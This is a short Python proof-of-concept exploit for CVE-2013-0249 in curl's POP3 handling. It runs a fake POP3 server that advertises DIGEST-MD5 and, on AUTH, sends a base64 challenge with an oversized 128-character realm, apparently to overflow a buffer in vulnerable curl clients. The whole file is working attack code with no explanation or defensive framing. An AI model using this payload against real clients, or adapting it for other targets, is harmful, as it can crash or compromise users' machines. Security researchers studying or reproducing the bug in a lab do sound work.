#!/usr/bin/env python
# -*- coding: utf-8 -*-
# curl pop3 CVE-2013-0249 by Volema/MSLC

import socket
import base64

host = "localhost"
port = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
sock, addr = s.accept()
sock.send('+OK POP3 server ready\n')
while True:
    buf = sock.recv(1024)
    print repr(buf)
    if 'USER' in buf:
        sock.send('+OK\n')
    if 'PASS' in buf:
        sock.send('-ERR 999\n')
    if 'CAPA' in buf:
        resp =  '+OK List of capabilities follows\n'
        resp += 'SASL DIGEST-MD5\n'
        resp += 'IMPLEMENTATION dumbydumb POP3 server\n'
        resp += '.\n'
        sock.send(resp)
    if 'QUIT' in buf:
        sock.send('+OK')
        break
    if 'AUTH' in buf:
        realm = 'A'*128
        payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm
        resp = '+ '+base64.b64encode(payload)+'\n'
        print repr(resp)
        sock.send(resp)
sock.close()